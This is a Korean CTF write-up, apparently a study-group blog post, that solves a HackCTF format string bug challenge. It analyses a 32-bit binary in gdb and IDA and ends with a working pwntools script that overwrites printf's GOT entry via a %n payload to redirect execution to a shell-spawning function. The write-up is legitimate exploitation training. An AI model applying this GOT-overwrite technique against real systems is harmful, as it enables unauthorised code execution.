문제 이름으로 문제를 예상해 봤을 때 FSB취약점을 이용한 문제인 것 같아서 FSB 취약점에 대해 찾아보니 Format String Bug 라는 뜻으로 포맷 스트링을 사용하는 함수에서 %s 와 같은 포맷 스트링 문자를 사용자가 통제할 수 있을 때 발생하는 취약점이라 한다.
file 명령어를 통해 확인하면 리눅스 32비트 실행파일임을 확인할 수 있다.
gdb로 main 함수를 확인하면 다음과 같다.
스택에 eax(0x804a044) 값을 넣어주고, setvbuf 함수를 실행하고 있다.
setvbuf함수는 스트림의 버퍼링과 버퍼 크기를 모두 제어할 수 있는 함수이다.
이후 vuln 함수가 실행되고 있다.
vuln 함수를 확인해보면 다음과 같다.
해당 함수의 주소에 접근할 수 없다고 한다.
main 함수를 IDA 헥스레이로 보면 다음과 같다.
setvbuf 함수와 vuln 함수만 실행되고 있고, 어셈블리 코드에서 setvbuf 함수가 실행되기 전에 push 됬던 값들이 setvbuf 함수의 인자로 들어가고 있다.
vuln 함수는 다음과 같다.
vuln 함수에서 값을 입력받고, 입력받은 값을 출력해준다. 그리고 format 출력을 반환한다. snprintf는 버퍼 오버플로우를 막기 위해 두번째 인자로 문자열의 길이를 지정하는 함수라고 한다.
snpintf함수에서 입력받은 값을 format 버퍼에 저장하고 있고, 이후 printf함수에서 포맷 스트링 없이 format 변수를 그대로 출력하고 있다.
IDA로 프로그램을 봤을 때 flag 라는 함수도 있어서 이 함수도 확인해 봤다.
flag 함수에서 system 함수로 쉘을 실행하고 있고 결과적으로 이 함수를 실행시켜야 할 것 같다.
vuln 함수와 flag 함수의 주소는 다음같다.
vuln : 0x0804854b
flag : 0x080485b4
또한 다음과 같이 프로그램을 실행시키고 포맷 스트링을 입력하여 FSB 취약점이 있다는 것을 확인할 수 있다.
2번째 포맷스트링부터 입력한 AAAA가 들어가고 있다.
AAAA가 들어간 위치에 printf@got 주소를 넣고, %n으로 flag()함수 주소의 10진수 값에서 앞에서 입력한 4byte 만큼을 뺀 값(134514096)을 넣으면 flag 함수가 실행되서 쉘을 딸 수 있다.
1
2
3
4
5
6
7
8
9
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3002)
pay = p32(0x804a00c)
flag_func = "%134514096x%n"
pay = pay + flag_func.encode()
p.sendline(pay)
p.interactive()
|
cs |
'Project H4C Study Group' 카테고리의 다른 글
[Project H4C][dreamhack] welcome (0) | 2021.03.18 |
---|---|
[Project H4C][Hack CTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.03.18 |
[Project H4C][Hack CTF] Basic_BOF #2 (0) | 2021.03.16 |
[Project H4C][Hack CTF] Basic_BOF #1 (0) | 2021.03.16 |
[Project H4C] C언어 코딩도장(12) (0) | 2021.03.12 |